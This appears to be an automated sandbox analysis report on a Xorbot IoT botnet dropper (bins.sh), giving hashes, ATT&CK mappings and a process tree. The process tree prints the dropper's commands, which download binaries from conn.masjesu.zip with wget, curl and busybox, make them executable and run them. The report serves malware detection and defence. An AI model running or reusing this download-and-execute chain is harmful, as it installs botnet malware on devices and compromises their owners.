xorbot | 63474b961f7d5ce4b87d24a8f75771e3bf67f701db79208330a21c279166a8d3

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
30-11-2024 12:44

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General

Target

bins.sh
Size

10KB
MD5

3b645bbe96ee3ab536e8ef1f6ce8697c
SHA1

2917984fd9fed5df87f0aec265284c0eb682b07b
SHA256

63474b961f7d5ce4b87d24a8f75771e3bf67f701db79208330a21c279166a8d3
SHA512

d435bb11992751d59212380b48226e0baf1168a23b2c63f20fdd208027d67695a2901648ebb718dd5fe9008daafb6822f7825e07bc1362bc2e125e9c29b7cac6
SSDEEP

192:YTR16fDzP2B3BHBYBhB9BFY22TjXVR16fDz6B3BHBYBhB9Bt:Y6I22Trc

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot
behavioral3/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
809	chmod

Executes dropped EXE 1 IoCs

Processes:

vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq

ioc	pid	Process
/tmp/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq	810	vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curlcurl

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

curlwgetcurlbusyboxwget

pid	Process
814	curl
706	wget
806	curl
808	busybox
813	wget

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxwget

description	ioc	Process
File opened for modification	/tmp/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq	wget
File opened for modification	/tmp/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq	curl
File opened for modification	/tmp/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq	busybox
File opened for modification	/tmp/PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:698
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:701
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:706
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:806
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:808
- /bin/chmod
  chmod 777 vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
  ./vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
  2⤵
  PID:812
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:813
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:814

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit